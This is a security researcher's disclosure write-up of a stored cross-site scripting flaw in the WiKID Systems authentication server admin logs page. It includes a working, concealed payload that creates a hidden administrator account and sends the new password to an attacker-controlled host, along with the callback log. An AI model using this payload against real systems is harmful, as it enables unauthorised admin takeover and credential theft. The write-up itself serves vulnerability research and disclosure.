While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank...
While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank:
<meta http-equiv="refresh" content="0;url=/WiKIDAdmin/">
<html>
<head><title>W i K I D S Y S T E M S</title></head>
<body bgcolor="ffffff">
<center><a href="http://www.wikidsystems.com/"><img src="../openid/images/logo.gif" border=0></a></center> </body>
</html>
I visited http://www.wikidsystems.com to gather information on the mystery service which led to an .iso and .rpm available from http://www.wikidsystems.com.
Extracting the contents of wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm
revealed two .war
files in a webapps directory:
$ rpm2cpio wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm | cpio -idmv
...
./opt/WiKID/webapps/WiKIDAdmin.war
./opt/WiKID/webapps/wikid.war
WiKIDAdmin.war contained .jsp
files for the Admin web application at /WiKIDAdmin/
, authentication was required for this web application. I installed the .iso
on VirtualBox; with a default installation, I had access to the /WiKIDAdmin/
and /wikid/
functionality.
Reviewing web.xml
, for wikid.war, showed several external URLs mapped to servlets that did not require authentication, including:
...
<servlet>
<servlet-name>PreRegister</servlet-name>
<servlet-class>com.wikidsystems.server.PreRegister
</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>PreRegister</servlet-name>
<url-pattern>/PreRegister
</url-pattern>
</servlet-mapping>
...
I traced com.wikidsystems.server.PreRegister
, and the other servlets, to wikid-server-enterprise-lib-4.2.0.jar
. The source for com.wikidsystems.server.PreRegister
revealed several parameters, including the a
parameter, were accepted by the endpoint:
The a
parameter is expected to be an Integer:
66 try {
67 requestAction = Integer.parseInt(request.getParameter("a")
);
68 logger.debug("Determined requested action: " + requestAction);
69 }
If the a
parameter is not an Integer, an error is thrown and the value of a
is passed to the logger:
70 catch (NumberFormatException nfe) {
71 nfe.printStackTrace();
72 logger.error("IO error during registration -- recieved action: " + request.getParameter("a")
, nfe);
73 }
I found that logged errors are stored and displayed in the authenticated application in the Logs.jsp functionality by submitting the value test for a. The severity of the issue is high enough to be displayed by default:
Logs.jsp revealed the error message is stored as rendered_message
and is not sanitized before it is included in the page:
394 sb.append("<TD class=\"logTableCell\" style=\"white-space:normal;\">")
395 .append("<a href='./Log.jsp?subString=" + rs.getString("rendered_message")
+ "'>")
396 .append("<img src='./images/toolFilter.png' alt='' border=\"0px\" width=\"15px\" height=\"15px\"/></a>")
397 .append(rs.getString("rendered_message").replaceAll("<", "<").replaceAll(">", ">"))
398 .append("</TD>");
rendered_message
is included in an <a>
element that is being constructed; escaping out of the href
attribute would allow me to create arbitrary elements. I went with the string test'><script>alert(123)</script>
to verify an attack was possible:
I modified the attack string to be:
test'><script>window.addEventListener('load',function(){var+randomstring+%3d+Math.random().toString(36).slice(-12);$.get(window.location.origin%2b'/WiKIDAdmin/adm_usrs.jsp%3fusr%3dtest%26newpass1%3d'%2brandomstring%2b'%26newpass2%3d'%2brandomstring%2b'%26action%3dAdd');$.get('https://$LHOST%3fpass%3d'%2brandomstring)%3b});</script><!--
The string ends with <!--
to provide some concealment for the attack; the input will not appear in the table, it appears in a comment so the malicious input string is not displayed:
When Logs.jsp is visited, an Admin user is unintentionally created; the password is sent to a host I control, and I gain admin access to the Host:
$RHOST - - [13/Oct/2019 22:12:24] "GET /?pass=0.zo2em7aohn HTTP/1.1" 200 -
Several identified issues have been assigned CVE identifiers, the official disclosures can be found here:
Special thanks to Nick Owen (@wikidsystems) from WiKID Systems
for the quick response and work to address identified issues.